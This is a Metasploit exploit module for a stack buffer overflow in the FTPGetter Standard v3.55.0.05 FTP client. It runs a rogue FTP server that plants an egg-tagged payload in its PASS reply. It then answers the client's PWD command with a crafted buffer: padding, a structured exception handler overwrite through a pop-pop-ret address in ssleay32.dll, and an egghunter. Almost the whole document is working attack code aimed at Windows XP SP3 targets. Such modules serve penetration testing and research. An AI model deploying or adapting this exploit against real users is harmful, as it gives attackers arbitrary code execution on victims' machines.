FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FTPGetter Standard v3.55.0.05 Stack Buffer Overflow (PWD)',
        'Description' => %q{
          This module exploits a buffer overflow in FTPGetter Standard v3.55.0.05 ftp client.
          When processing the response on a PWD command, a stack based buffer overflow occurs.
          This leads to arbitrary code execution when a structured exception handler gets
          overwritten.
        },
        'Author' => [
          'ekse',	# found the bug
          'corelanc0d3r <peter.ve[at]corelan.be>',	#  wrote the exploit
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2019-9760' ],
          [ 'OSVDB', '68638'],
          [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Payload' => {
          'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'XP SP3 Universal', { 'Offset' => 485, 'Ret' => 0x100139E5 } ], # ppr [ssleay32.dll]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-10-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def setup
    super
    badchars = ""
    eggoptions =
      {
        :checksum => true,
        :eggtag => "W00T"
      }
    @hunter, @egg = generate_egghunter(payload.encoded, badchars, eggoptions)
  end

  def on_client_unknown_command(c, cmd, arg)
    c.put("200 OK\r\n")
  end

  def on_client_command_pass(c, arg)
    @state[c][:pass] = arg
    c.put("230 OK #{@egg}\r\n")
    return
  end

  def on_client_command_pwd(c, arg)
    junk1 = "A" * target['Offset']
    junk2 = "A" * 9
    nseh = "\x74\x06\x41\x41"
    jmp = "\x75\x08"
    seh = [target.ret].pack('V')
    junk3 = "D" * 22000
    # dual offset
    buffer = junk1 + nseh + seh + junk2 + jmp + nseh + seh + @hunter + junk3
    c.put("257 \"/\" #{buffer}\r\n")
    print_status("Sent payload, #{buffer.length} bytes")
    print_status("Wait for hunter ...")
    return
  end
end